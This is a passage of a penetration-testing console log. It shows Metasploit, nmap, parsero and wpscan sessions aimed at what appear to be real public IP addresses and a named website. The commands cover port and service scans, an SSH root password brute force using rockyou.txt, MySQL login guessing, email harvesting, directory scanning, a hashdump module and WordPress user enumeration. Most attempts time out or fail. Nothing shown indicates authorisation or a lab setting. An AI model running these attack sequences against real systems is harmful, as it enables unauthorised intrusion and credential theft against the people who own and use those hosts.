  1806. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds
  1807.  
  1808. EXPORT NMAP RESULTS
  1809.  
  1810. msf > db_export -f xml /root/Desktop/Exported.xml
  1811. [*] Starting export of workspace default to /root/Desktop/Exported.xml [ xml ]...
  1812. [*]     >> Starting export of report
  1813. [*]     >> Starting export of hosts
  1814. [*]     >> Starting export of events
  1815. [*]     >> Starting export of services
  1816. [*]     >> Starting export of web sites
  1817. [*]     >> Starting export of web pages
  1818. [*]     >> Starting export of web forms
  1819. [*]     >> Starting export of web vulns
  1820. [*]     >> Starting export of module details
  1821. [*]     >> Finished export of report
  1822. [*] Finished export of workspace default to /root/Desktop/Exported.xml [ xml ]...
  1823.  
  1824.  
  1825. IMPORT NMAP RESULTS
  1826.  
  1827. msf >  db_import /root/Desktop/Exported.xml
  1828.  
  1829. msf > db_import /root/Desktop/Exported.xml
  1830. [*] Importing 'Metasploit XML' data
  1831. [*] Importing host 198.71.232.0
  1832. [*] Importing host 198.71.232.1
  1833. [*] Importing host 198.71.232.2
  1834. [*] Importing host 198.71.232.3
  1835. [*] Importing host 198.71.232.4
  1836. [*] Importing host 198.71.232.5
  1837. [*] Importing host 198.71.232.6
  1838. [*] Importing host 198.71.232.7
  1839. [*] Importing host 198.71.232.9
  1840. [*] Successfully imported /root/Desktop/Exported.xml
  1841.  
  1842.  
  1843.  
  1844. msf > hosts
  1845.  
  1846. Hosts
  1847. =====
  1848.  
  1849. address       mac  name          os_name  os_flavor  os_sp  purpose  info  comments
  1850. -------       ---  ----          -------  ---------  -----  -------  ----  --------
  1851. 198.71.232.0                     Unknown                    device        
  1852. 198.71.232.1                     Unknown                    device        
  1853. 198.71.232.2                     Unknown                    device        
  1854. 198.71.232.3       198.71.232.3  Unknown                    device        
  1855. 198.71.232.4                     Unknown                    device        
  1856. 198.71.232.5                     Unknown                    device        
  1857. 198.71.232.6                     Unknown                    device        
  1858. 198.71.232.7                     Unknown                    device        
  1859. 198.71.232.9                     Unknown                    device        
  1860.  
  1861.  
  1862.  
  1863. msf > hosts -c address,os_flavor
  1864.  
  1865. Hosts
  1866. =====
  1867.  
  1868. address       os_flavor
  1869. -------       ---------
  1870. 198.71.232.0  
  1871. 198.71.232.1  
  1872. 198.71.232.2  
  1873. 198.71.232.3  
  1874. 198.71.232.4  
  1875. 198.71.232.5  
  1876. 198.71.232.6  
  1877. 198.71.232.7  
  1878. 198.71.232.9  
  1879.  
  1880.  
  1881.  
  1882. msf > hosts -c address,os_flavor -S Linux
  1883.  
  1884. msf auxiliary(tcp) > show options
  1885.  
  1886. msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R
  1887.  
  1888. RHOSTS => 198.71.232.3
  1889.  
  1890. msf  auxiliary(tcp) > run
  1891.  
  1892. msf  auxiliary(tcp) > hosts -R
  1893.  
  1894. RHOSTS => 198.71.232.3
  1895.  
  1896. msf  auxiliary(tcp) > show options
  1897.  
  1898. msf > services -c name,info 198.71.232.3
  1899.  
  1900. Services
  1901. ========
  1902.  
  1903. host          name   info
  1904. ----          ----   ----
  1905. 198.71.232.3  http   DPS/1.0.3
  1906. 198.71.232.3  https  
  1907.  
  1908.  
  1909. msf > services -c name,info -S http
  1910.  
  1911. Services
  1912. ========
  1913.  
  1914. host          name   info
  1915. ----          ----   ----
  1916. 198.71.232.3  http   DPS/1.0.3
  1917. 198.71.232.3  https  
  1918. 198.71.232.4  https  
  1919. 198.71.232.4  http  
  1920. 198.71.232.5  https  
  1921. 198.71.232.6  http  
  1922. 198.71.232.6  https  
  1923. 198.71.232.7  http  
  1924. 198.71.232.7  https  
  1925. 198.71.232.9  http  
  1926.  
  1927. msf > services -c name,info -S https
  1928.  
  1929. Services
  1930. ========
  1931.  
  1932. host          name   info
  1933. ----          ----   ----
  1934. 198.71.232.3  https  
  1935. 198.71.232.4  https  
  1936. 198.71.232.5  https  
  1937. 198.71.232.6  https  
  1938. 198.71.232.7  https  
  1939.  
  1940.  
  1941. msf > services -c info,name -p 443
  1942.  
  1943. Services
  1944. ========
  1945.  
  1946. host          info  name
  1947. ----          ----  ----
  1948. 198.71.232.3        https
  1949. 198.71.232.4        https
  1950. 198.71.232.5        https
  1951. 198.71.232.6        https
  1952. 198.71.232.7        https
  1953.  
  1954.  
  1955. msf > services -c port,proto,state -p 70-81
  1956.  
  1957. msf > services -c port,proto,state -p 70-81
  1958.  
  1959. Services
  1960. ========
  1961.  
  1962. host          port  proto  state
  1963. ----          ----  -----  -----
  1964. 198.71.232.3  80    tcp    open
  1965. 198.71.232.4  80    tcp    open
  1966. 198.71.232.6  80    tcp    open
  1967. 198.71.232.7  80    tcp    open
  1968. 198.71.232.9  80    tcp    open
  1969.  
  1970. msf > services -c port,proto,state -p 70-81-3306
  1971.  
  1972. Services
  1973. ========
  1974.  
  1975. host          port  proto  state
  1976. ----          ----  -----  -----
  1977. 198.71.232.3  80    tcp    open
  1978. 198.71.232.4  80    tcp    open
  1979. 198.71.232.6  80    tcp    open
  1980. 198.71.232.7  80    tcp    open
  1981. 198.71.232.9  80    tcp    open
  1982.  
  1983.  
  1984. msf > services -c port,proto,state -p 21-22-25-70-80-81-443-3306
  1985.  
  1986. Services
  1987. ========
  1988.  
  1989. host          port  proto  state
  1990. ----          ----  -----  -----
  1991. 198.71.232.7  22    tcp    open
  1992.  
  1993.  
  1994. msf > services -s http -c port 198.71.232.3
  1995.  
  1996. Services
  1997. ========
  1998.  
  1999. host          port
  2000. ----          ----
  2001. 198.71.232.3  80
  2002.  
  2003. msf > services -s https -c port 198.71.232.3
  2004.  
  2005. Services
  2006. ========
  2007.  
  2008. host          port
  2009. ----          ----
  2010. 198.71.232.3  443
  2011.  
  2012.  
  2013. msf > services -S Unr
  2014.  
  2015. Services
  2016. ========
  2017.  
  2018. host  port  proto  name  state  info
  2019. ----  ----  -----  ----  -----  ----
  2020.  
  2021.  
  2022. CSV Export
  2023.  
  2024. msf > services -s http -c port 198.71.232.3 -o /root/Desktop/http.csv
  2025.  
  2026. [*] Wrote services to /root/Desktop/http.csv
  2027.  
  2028. msf > services -s https -c port 198.71.232.3 -o /root/Desktop/https.csv
  2029.  
  2030. [*] Wrote services to /root/Desktop/https.csv
  2031.  
  2032. msf > hosts -S Linux -o /root/Desktop/linux.csv
  2033. [*] Wrote hosts to /root/Desktop/linux.csv
  2034.  
  2035. msf > cat /root/Desktop/http.csv
  2036. [*] exec: cat /root/Desktop/http.csv
  2037.  
  2038. host,port
  2039. "198.71.232.3","80"
  2040.  
  2041. msf > cat /root/Desktop/https.csv
  2042. [*] exec: cat /root/Desktop/https.csv
  2043.  
  2044. host,port
  2045. "198.71.232.3","443"
  2046.  
  2047. msf > cat /root/Desktop/linux.csv
  2048. [*] exec: cat /root/Desktop/linux.csv
  2049.  
  2050. address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
  2051.  
  2052. RELOAD ALL METASPLOIT MODULES
  2053.  
  2054. msf > reload_all
  2055. [*] Reloading modules from all module paths...
  2056.  
  2057.  ______________________________________________________________________________
  2058. |                                                                              |
  2059. |                   METASPLOIT CYBER MISSILE COMMAND V4                        |
  2060. |______________________________________________________________________________|
  2061.       \                                  /                      /
  2062.        \     .                          /                      /            x
  2063.         \                              /                      /
  2064.          \                            /          +           /
  2065.           \            +             /                      /
  2066.            *                        /                      /
  2067.                                    /      .               /
  2068.     X                             /                      /            X
  2069.                                  /                     ###
  2070.                                 /                     # % #
  2071.                                /                       ###
  2072.                       .       /
  2073.      .                       /      .            *           .
  2074.                             /
  2075.                            *
  2076.                   +                       *
  2077.  
  2078.                                        ^
  2079. ####      __     __     __          #######         __     __     __        ####
  2080. ####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
  2081. ################################################################################
  2082. ################################################################################
  2083. # WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
  2084. ################################################################################
  2085.                                                            http://metasploit.pro
  2086.  
  2087.  
  2088. Easy phishing: Set up email templates, landing pages and listeners
  2089. in Metasploit Pro -- learn more on http://rapid7.com/metasploit
  2090.  
  2091.        =[ metasploit v4.11.5-2016010401                   ]
  2092. + -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
  2093. + -- --=[ 437 payloads - 37 encoders - 8 nops             ]
  2094. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  2095.  
  2096.  
  2097. USE ARP_SWEEP
  2098.  
  2099. msf > use auxiliary/scanner/discovery/arp_sweep
  2100. msf auxiliary(arp_sweep) > show options
  2101.  
  2102. Module options (auxiliary/scanner/discovery/arp_sweep):
  2103.  
  2104.    Name       Current Setting  Required  Description
  2105.    ----       ---------------  --------  -----------
  2106.    INTERFACE                   no        The name of the interface
  2107.    RHOSTS                      yes       The target address range or CIDR identifier
  2108.    SHOST                       no        Source IP Address
  2109.    SMAC                        no        Source MAC Address
  2110.    THREADS    1                yes       The number of concurrent threads
  2111.    TIMEOUT    5                yes       The number of seconds to wait for new data
  2112.  
  2113. msf auxiliary(arp_sweep) > set RHOSTS 198.71.232.3/24
  2114. RHOSTS => 198.71.232.3/24
  2115. msf auxiliary(arp_sweep) > set THREADS 50
  2116. THREADS => 50
  2117. msf auxiliary(arp_sweep) > run
  2118.  
  2119. [*] Scanned 256 of 256 hosts (100% complete)
  2120. [*] Auxiliary module execution completed
  2121.  
  2122.  
  2123. msf auxiliary(arp_sweep) > back
  2124.  
  2125. USE NMAP
  2126.  
  2127. msf > nmap -sn 198.71.232.3/24
  2128. [*] exec: nmap -sn 198.71.232.3/24
  2129.  
  2130.  
  2131. Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-29 18:31 CEST
  2132. mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
  2133. Nmap scan report for 198.71.232.0
  2134. Host is up (0.11s latency).
  2135. Nmap scan report for 198.71.232.1
  2136. Host is up (0.11s latency).
  2137. Nmap scan report for 198.71.232.2
  2138. Host is up (0.11s latency).
  2139. Nmap scan report for 198.71.232.3
  2140. Host is up (0.11s latency).
  2141. Nmap scan report for 198.71.232.4
  2142. Host is up (0.11s latency).
  2143. Nmap scan report for 198.71.232.5
  2144. Host is up (0.11s latency).
  2145. Nmap scan report for 198.71.232.6
  2146. Host is up (0.11s latency).
  2147. Nmap scan report for 198.71.232.7
  2148. Host is up (0.11s latency).
  2149. Nmap scan report for 198.71.232.8
  2150. Host is up (0.11s latency).
  2151. Nmap scan report for 198.71.232.9
  2152. Host is up (0.11s latency).
  2153. Nmap done: 256 IP addresses (10 hosts up) scanned in 5.25 seconds
  2154.  
  2155.  
  2156. msf > nmap -PU -sn 198.71.232.3/24
  2157. [*] exec: nmap -PU -sn 198.71.232.3/24
  2158.  
  2159.  
  2160. Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-29 18:33 CEST
  2161. mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
  2162. Nmap done: 256 IP addresses (0 hosts up) scanned in 52.11 seconds
  2163.  
  2164.  
  2165. msf > nmap -O 198.71.232.3
  2166. [*] exec: nmap -O 198.71.232.3
  2167.  
  2168.  
  2169. Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-29 18:34 CEST
  2170. mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
  2171. Nmap scan report for 198.71.232.3
  2172. Host is up (0.11s latency).
  2173. Not shown: 998 filtered ports
  2174. PORT    STATE SERVICE
  2175. 80/tcp  open  http
  2176. 443/tcp open  https
  2177. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  2178. OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
  2179. No OS matches for host
  2180.  
  2181. OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2182. Nmap done: 1 IP address (1 host up) scanned in 17.57 seconds
  2183.  
  2184.  
  2185. SEARCH PORTSCAN
  2186.  
  2187. msf > search portscan
  2188.  
  2189. Matching Modules
  2190. ================
  2191.  
  2192.    Name                                              Disclosure Date  Rank    Description
  2193.    ----                                              ---------------  ----    -----------
  2194.    auxiliary/scanner/http/wordpress_pingback_access                   normal  Wordpress Pingback Locator
  2195.    auxiliary/scanner/natpmp/natpmp_portscan                           normal  NAT-PMP External Port Scanner
  2196.    auxiliary/scanner/portscan/ack                                     normal  TCP ACK Firewall Scanner
  2197.    auxiliary/scanner/portscan/ftpbounce                               normal  FTP Bounce Port Scanner
  2198.    auxiliary/scanner/portscan/syn                                     normal  TCP SYN Port Scanner
  2199.    auxiliary/scanner/portscan/tcp                                     normal  TCP Port Scanner
  2200.    auxiliary/scanner/portscan/xmas                                    normal  TCP "XMas" Port Scanner
  2201.    auxiliary/scanner/sap/sap_router_portscanner                       normal  SAPRouter Port Scanner
  2202.  
  2203. USE PORTSCAN
  2204.  
  2205. msf > use auxiliary/scanner/portscan/syn
  2206.  
  2207. msf auxiliary(syn) > set RHOSTS 198.71.232.3
  2208.  
  2209. RHOSTS => 198.71.232.3
  2210.  
  2211. msf auxiliary(syn) >  set THREADS 200
  2212.  
  2213. THREADS => 200
  2214.  
  2215. msf auxiliary(syn) > run
  2216.  
  2217. [*]  TCP OPEN 198.71.232.3:80
  2218. [*]  TCP OPEN 198.71.232.3:443
  2219.  
  2220. SEARCH NAME_VERSION
  2221.  
  2222. msf > search name:_version
  2223.  
  2224. USE TELNET AUXILIARY SCANNER
  2225.  
  2226. msf > use auxiliary/scanner/telnet/telnet_version
  2227. msf auxiliary(telnet_version) > set RHOSTS 198.71.232.3/24
  2228. RHOSTS => 198.71.232.3
  2229. msf auxiliary(telnet_version) > set THREADS 100
  2230. THREADS => 100
  2231. msf auxiliary(telnet_version) > run
  2232.  
  2233. [*] Scanned  41 of 256 hosts (16% complete)
  2234. [*] Scanned  93 of 256 hosts (36% complete)
  2235. [*] Scanned  96 of 256 hosts (37% complete)
  2236. [*] Scanned 130 of 256 hosts (50% complete)
  2237. [*] Scanned 131 of 256 hosts (51% complete)
  2238. [*] Scanned 192 of 256 hosts (75% complete)
  2239. [*] Scanned 193 of 256 hosts (75% complete)
  2240. [*] Scanned 211 of 256 hosts (82% complete)
  2241. [*] Scanned 241 of 256 hosts (94% complete)
  2242. [*] Scanned 256 of 256 hosts (100% complete)
  2243. [*] Auxiliary module execution completed
  2244. msf auxiliary(telnet_version) >
  2245.  
  2246.  
  2247. USE AUXILIARY SSH_VERSION
  2248.  
  2249. msf auxiliary(telnet_version) > use auxiliary/scanner/ssh/ssh_version
  2250. msf auxiliary(ssh_version) > show options
  2251.  
  2252. Module options (auxiliary/scanner/ssh/ssh_version):
  2253.  
  2254.    Name     Current Setting  Required  Description
  2255.    ----     ---------------  --------  -----------
  2256.    RHOSTS                    yes       The target address range or CIDR identifier
  2257.    RPORT    22               yes       The target port
  2258.    THREADS  1                yes       The number of concurrent threads
  2259.    TIMEOUT  30               yes       Timeout for the SSH probe
  2260.  
  2261. msf auxiliary(ssh_version) > set RHOSTS 198.71.232.3/24
  2262. RHOSTS => 198.71.232.3/24
  2263. msf auxiliary(ssh_version) > set THREADS 200
  2264. THREADS => 200
  2265. msf auxiliary(ssh_version) > run
  2266.  
  2267. [*] 198.71.232.7:22 SSH server version: SSH-2.0-OpenSSH_6.3 ( service.version=6.3 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH )
  2268. [*] Scanned  42 of 256 hosts (16% complete)
  2269. [*] Scanned  77 of 256 hosts (30% complete)
  2270. [*] Scanned 119 of 256 hosts (46% complete)
  2271. [*] Scanned 136 of 256 hosts (53% complete)
  2272. [*] Scanned 137 of 256 hosts (53% complete)
  2273. [*] Scanned 156 of 256 hosts (60% complete)
  2274. [*] Scanned 187 of 256 hosts (73% complete)
  2275. [*] Scanned 253 of 256 hosts (98% complete)
  2276. [*] Scanned 255 of 256 hosts (99% complete)
  2277. [*] Scanned 256 of 256 hosts (100% complete)
  2278. [*] Auxiliary module execution completed
  2279.  
  2280.  
  2281. USE ORACLE SCANNER
  2282.  
  2283. msf auxiliary(tnslsnr_version) > show options
  2284.  
  2285. Module options (auxiliary/scanner/oracle/tnslsnr_version):
  2286.  
  2287.    Name     Current Setting  Required  Description
  2288.    ----     ---------------  --------  -----------
  2289.    RHOSTS                    yes       The target address range or CIDR identifier
  2290.    RPORT    1521             yes       The target port
  2291.    THREADS  1                yes       The number of concurrent threads
  2292.  
  2293. msf auxiliary(tnslsnr_version) > set RHOSTS 198.71.232.3/24
  2294. RHOSTS => 198.71.232.3/24
  2295. msf auxiliary(tnslsnr_version) > set THREADS 200
  2296. THREADS => 200
  2297. msf auxiliary(tnslsnr_version) > run
  2298.  
  2299. [*] Scanned 105 of 256 hosts (41% complete)
  2300. [*] Scanned 113 of 256 hosts (44% complete)
  2301. [*] Scanned 131 of 256 hosts (51% complete)
  2302. [*] Scanned 188 of 256 hosts (73% complete)
  2303. [*] Scanned 200 of 256 hosts (78% complete)
  2304. [*] Scanned 237 of 256 hosts (92% complete)
  2305. [*] Scanned 243 of 256 hosts (94% complete)
  2306. [*] Scanned 250 of 256 hosts (97% complete)
  2307. [*] Scanned 252 of 256 hosts (98% complete)
  2308. [*] Scanned 256 of 256 hosts (100% complete)
  2309. [*] Auxiliary module execution completed
  2310.  
  2311.  
  2312. USE OPEN_PROXY
  2313.  
  2314. msf auxiliary(tnslsnr_version) > use auxiliary/scanner/http/open_proxy
  2315.  
  2316. msf auxiliary(open_proxy) > show options
  2317.  
  2318. msf auxiliary(open_proxy) > show options
  2319.  
  2320. Module options (auxiliary/scanner/http/open_proxy):
  2321.  
  2322.    Name                   Current Setting                                     Required  Description
  2323.    ----                   ---------------                                     --------  -----------
  2324.    LOOKUP_PUBLIC_ADDRESS  false                                               no        Enable test for retrieve public IP address via RIPE.net
  2325.    MULTIPORTS             false                                               no        Multiple ports will be used : 80, 1080, 3128, 8080, 8123
  2326.    RANDOMIZE_PORTS        false                                               no        Randomize the order the ports are probed
  2327.    RHOSTS                                                                     yes       The target address range or CIDR identifier
  2328.    RPORT                  8080                                                yes       The target port
  2329.    SITE                   www.google.com                                      yes       The web site to test via alleged web proxy (default is www.google.com)
  2330.    THREADS                1                                                   yes       The number of concurrent threads
  2331.    UserAgent              Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  yes       The HTTP User-Agent sent in the request
  2332.    VERIFY_CONNECT         false                                               no        Enable test for CONNECT method
  2333.    VERIFY_HEAD            false                                               no        Enable test for HEAD method
  2334.    ValidCode              200,302                                             no        Valid HTTP code for a successfully request
  2335.    ValidPattern           server: gws                                         no        Valid HTTP server header for a successfully request
  2336.  
  2337. msf auxiliary(open_proxy) > set LOOKUP_PUBLIC_ADDRESS true
  2338. LOOKUP_PUBLIC_ADDRESS => true
  2339. msf auxiliary(open_proxy) > set MULTIPORTS true
  2340. MULTIPORTS => true
  2341. msf auxiliary(open_proxy) > show options
  2342.  
  2343. Module options (auxiliary/scanner/http/open_proxy):
  2344.  
  2345.    Name                   Current Setting                                     Required  Description
  2346.    ----                   ---------------                                     --------  -----------
  2347.    LOOKUP_PUBLIC_ADDRESS  true                                                no        Enable test for retrieve public IP address via RIPE.net
  2348.    MULTIPORTS             true                                                no        Multiple ports will be used : 80, 1080, 3128, 8080, 8123
  2349.    RANDOMIZE_PORTS        false                                               no        Randomize the order the ports are probed
  2350.    RHOSTS                                                                     yes       The target address range or CIDR identifier
  2351.    RPORT                  8080                                                yes       The target port
  2352.    SITE                   www.google.com                                      yes       The web site to test via alleged web proxy (default is www.google.com)
  2353.    THREADS                1                                                   yes       The number of concurrent threads
  2354.    UserAgent              Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  yes       The HTTP User-Agent sent in the request
  2355.    VERIFY_CONNECT         false                                               no        Enable test for CONNECT method
  2356.    VERIFY_HEAD            false                                               no        Enable test for HEAD method
  2357.    ValidCode              200,302                                             no        Valid HTTP code for a successfully request
  2358.    ValidPattern           server: gws                                         no        Valid HTTP server header for a successfully request
  2359.  
  2360. msf auxiliary(open_proxy) > set RANDOMIZE_PORTS true
  2361. RANDOMIZE_PORTS => true
  2362. msf auxiliary(open_proxy) > set RHOSTS 198.71.232.3
  2363. RHOSTS => 198.71.232.3
  2364. msf auxiliary(open_proxy) > set RPORT 8080
  2365. RPORT => 8080
  2366. msf auxiliary(open_proxy) > run
  2367.  
  2368. [*] Scanned 1 of 1 hosts (100% complete)
  2369. [*] Auxiliary module execution completed
  2370. msf auxiliary(open_proxy) >
  2371.  
  2372.  
  2373. USE SSH_LOGIN
  2374.  
  2375. msf auxiliary(open_proxy) > use auxiliary/scanner/ssh/ssh_login
  2376. msf auxiliary(ssh_login) > set RHOSTS 198.71.232.3
  2377. RHOSTS => 198.71.232.3
  2378. msf auxiliary(ssh_login) > set USERNAME root
  2379. USERNAME => root
  2380. msf auxiliary(ssh_login) > set PASS_FILE /root/Desktop/rockyou.txt
  2381. PASS_FILE => /root/Desktop/rockyou.txt
  2382. msf auxiliary(ssh_login) > set THREADS 2000
  2383. THREADS => 2000
  2384. msf auxiliary(ssh_login) > run
  2385.  
  2386. [*] 198.71.232.3:22 SSH - Starting bruteforce
  2387. [-] 198.71.232.3:22 SSH - Could not connect: The connection timed out (198.71.232.3:22).
  2388. [-] 198.71.232.3:22 SSH - Could not connect: The connection timed out (198.71.232.3:22).
  2389. [-] 198.71.232.3:22 SSH - Could not connect: The connection timed out (198.71.232.3:22).
  2390. [*] Scanned 1 of 1 hosts (100% complete)
  2391. [*] Auxiliary module execution completed
  2392.  
  2393.  
  2394. USE AUXILIARY DIR_SCANNER
  2395.  
  2396. msf auxiliary(ssh_login) > use auxiliary/scanner/http/dir_scanner
  2397. msf auxiliary(dir_scanner) > set THREADS 50
  2398. THREADS => 50
  2399. msf auxiliary(dir_scanner) > set RHOSTS 198.71.232.3
  2400. RHOSTS => 198.71.232.3
  2401. msf auxiliary(dir_scanner) > exploit
  2402.  
  2403. [*] Detecting error code
  2404. [*] Using code '404' as not found for 198.71.232.3
  2405. [*] Scanned 1 of 1 hosts (100% complete)
  2406. [*] Auxiliary module execution completed
  2407. msf auxiliary(dir_scanner) > set RHOSTS www.vyxunbnbs.com
  2408. RHOSTS => www.vyxunbnbs.com
  2409. msf auxiliary(dir_scanner) > exploit
  2410.  
  2411. [*] Detecting error code
  2412. [*] Using code '404' as not found for 198.71.232.3
  2413. [*] Scanned 1 of 1 hosts (100% complete)
  2414. [*] Auxiliary module execution completed
  2415. msf auxiliary(dir_scanner) > set RHOSTS vyxunbnbs.com
  2416. RHOSTS => vyxunbnbs.com
  2417. msf auxiliary(dir_scanner) > exploit
  2418.  
  2419. [*] Detecting error code
  2420. [*] Using code '404' as not found for 198.71.232.3
  2421. [*] Scanned 1 of 1 hosts (100% complete)
  2422. [*] Auxiliary module execution completed
  2423. msf auxiliary(dir_scanner) >
  2424.  
  2425.  
  2426. USE EMAIL_COLLECTOR
  2427.  
  2428. msf auxiliary(dir_scanner) > use auxiliary/gather/search_email_collector
  2429.  
  2430. msf auxiliary(search_email_collector) > set DOMAIN vyxunbnbs.com
  2431.  
  2432. DOMAIN => vyxunbnbs.com
  2433.  
  2434. msf auxiliary(search_email_collector) > run
  2435.  
  2436. [*] Harvesting emails .....
  2437. [*] Searching Google for email addresses from vyxunbnbs.com
  2438. [*] Extracting emails from Google search results...
  2439. [*] Searching Bing email addresses from vyxunbnbs.com
  2440. [*] Extracting emails from Bing search results...
  2441. [*] Searching Yahoo for email addresses from vyxunbnbs.com
  2442. [*] Extracting emails from Yahoo search results...
  2443. [*] Located 0 email addresses for vyxunbnbs.com
  2444. [*] Auxiliary module execution completed
  2445.  
  2446.  
  2447. msf auxiliary(search_email_collector) > use auxiliary/scanner/mysql/mysql_login
  2448. msf auxiliary(mysql_login) > show options
  2449.  
  2450. Module options (auxiliary/scanner/mysql/mysql_login):
  2451.  
  2452.    Name              Current Setting  Required  Description
  2453.    ----              ---------------  --------  -----------
  2454.    BLANK_PASSWORDS   false            no        Try blank passwords for all users
  2455.    BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  2456.    DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  2457.    DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  2458.    DB_ALL_USERS      false            no        Add all users in the current database to the list
  2459.    PASSWORD                           no        A specific password to authenticate with
  2460.    PASS_FILE                          no        File containing passwords, one per line
  2461.    Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  2462.    RHOSTS                             yes       The target address range or CIDR identifier
  2463.    RPORT             3306             yes       The target port
  2464.    STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  2465.    THREADS           1                yes       The number of concurrent threads
  2466.    USERNAME                           no        A specific username to authenticate as
  2467.    USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  2468.    USER_AS_PASS      false            no        Try the username as the password for all users
  2469.    USER_FILE                          no        File containing usernames, one per line
  2470.    VERBOSE           true             yes       Whether to print output for all attempts
  2471.  
  2472. msf auxiliary(mysql_login) > set RHOSTS vyxunbnbs.com
  2473. RHOSTS => vyxunbnbs.com
  2474. msf auxiliary(mysql_login) > run
  2475.  
  2476. [-] 198.71.232.3:3306 MYSQL - Unable to connect: The connection timed out (198.71.232.3:3306).
  2477. [*] Scanned 1 of 1 hosts (100% complete)
  2478. [*] Auxiliary module execution completed
  2479. msf auxiliary(mysql_login) >
  2480.  
  2481. msf  auxiliary(mysql_login) > creds
  2482.  
  2483. msf auxiliary(mysql_login) > sessions -l
  2484.  
  2485. Active sessions
  2486. ===============
  2487.  
  2488. No active sessions.
  2489.  
  2490.  
  2491. USE LOOT
  2492.  
  2493. msf > loot -h
  2494.  
  2495. Usage: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
  2496.  
  2497.   -t <type1,type2>  Search for a list of types
  2498.   -h,--help         Show this help information
  2499.   -S,--search       Search string to filter by
  2500.  
  2501. Here’s an example of how one would populate the database with some ‘loot’.
  2502.  
  2503. msf  exploit(usermap_script) > use post/linux/gather/hashdump
  2504. msf  post(hashdump) > show options
  2505.  
  2506. msf post(hashdump) > loot
  2507.  
  2508. Loot
  2509. ====
  2510.  
  2511. host  service  type  name  content  info  path
  2512. ----  -------  ----  ----  -------  ----  ----
  2513.  
  2514. USE AUXILIARY SCANNER HTTP CRAWLER
  2515.  
  2516. msf post(hashdump) > use auxiliary/scanner/http/crawler
  2517. msf auxiliary(crawler) > set RHOST vyxunbnbs.com
  2518. RHOST => vyxunbnbs.com
  2519. msf auxiliary(crawler) > run
  2520.  
  2521. [*] Crawling http://vyxunbnbs.com:80/...
  2522. [*] [00001/00500]    301 - vyxunbnbs.com - http://vyxunbnbs.com/ -> http://www.vyxunbnbs.com/
  2523. [*] Crawl of http://vyxunbnbs.com:80/ complete
  2524. [*] Auxiliary module execution completed
  2525.  
  2526. msf auxiliary(crawler) >
  2527.  
  2528. [*] Done.
  2529.  
  2530. CHECK THE SITE WITH PARSERO
  2531.  
  2532. ┌─[root@parrot]─[~]
  2533. └──╼ #parsero -u www.vyxunbnbs.com
  2534.  
  2535.       ____                              
  2536.      |  _ \ __ _ _ __ ___  ___ _ __ ___  
  2537.      | |_) / _` | '__/ __|/ _ \ '__/ _ \
  2538.      |  __/ (_| | |  \__ \  __/ | | (_) |
  2539.      |_|   \__,_|_|  |___/\___|_|  \___/
  2540.  
  2541. Starting Parsero v0.75 (https://github.com/behindthefirewalls/Parsero) at 05/29/16 19:59:04
  2542. Parsero scan report for www.vyxunbnbs.com
  2543. http://www.vyxunbnbs.com/images/ 404 Not Found
  2544. http://www.vyxunbnbs.com/_temp/ 404 Not Found
  2545. http://www.vyxunbnbs.com/statshistory/ 404 Not Found
  2546. http://www.vyxunbnbs.com/_backup/ 404 Not Found
  2547. http://www.vyxunbnbs.com/Flash/ 404 Not Found
  2548. http://www.vyxunbnbs.com/stats/ 404 Not Found
  2549. http://www.vyxunbnbs.com/plugins/ 404 Not Found
  2550. http://www.vyxunbnbs.com/_mygallery/ 404 Not Found
  2551. http://www.vyxunbnbs.com/_tempalbums/ 404 Not Found
  2552. http://www.vyxunbnbs.com/dbboon/ 404 Not Found
  2553. http://www.vyxunbnbs.com/cache/ 404 Not Found
  2554. http://www.vyxunbnbs.com/scripts/ 404 Not Found
  2555. http://www.vyxunbnbs.com/mobile/ 200 OK
  2556. http://www.vyxunbnbs.com/_tmpfileop/ 404 Not Found
  2557. http://www.vyxunbnbs.com/QSC/ 404 Not Found
  2558.  
  2559. [+] 15 links have been analyzed and 1 of them are available!!!
  2560.  
  2561. Finished in 2.3001761436462402 seconds
  2562.  
  2563.  
  2564. http://www.vyxunbnbs.com/mobile/ 200 OK
  2565.  
  2566.  
  2567. CHECK THE SITE WITH WPSCAN
  2568.  
  2569. ┌─[root@parrot]─[~]
  2570. └──╼ #wpscan --url www.vyxunbnbs.com/mobile --enumerate u
  2571. _______________________________________________________________
  2572.         __          _______   _____                  
  2573.         \ \        / /  __ \ / ____|                
  2574.          \ \  /\  / /| |__) | (___   ___  __ _ _ __  
  2575.           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
  2576.           \  /\  /  | |     ____) | (__| (_| | | | |
  2577.            \/  \/   |_|    |_____/ \___|\__,_|_| |_|
  2578.  
  2579.        WordPress Security Scanner by the WPScan Team
  2580.                       Version 2.9
  2581.          Sponsored by Sucuri - https://sucuri.net
  2582.   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
  2583. _______________________________________________________________
  2584.  
  2585.  
  2586. [!] The remote website is up, but does not seem to be running WordPress.
  2587.  
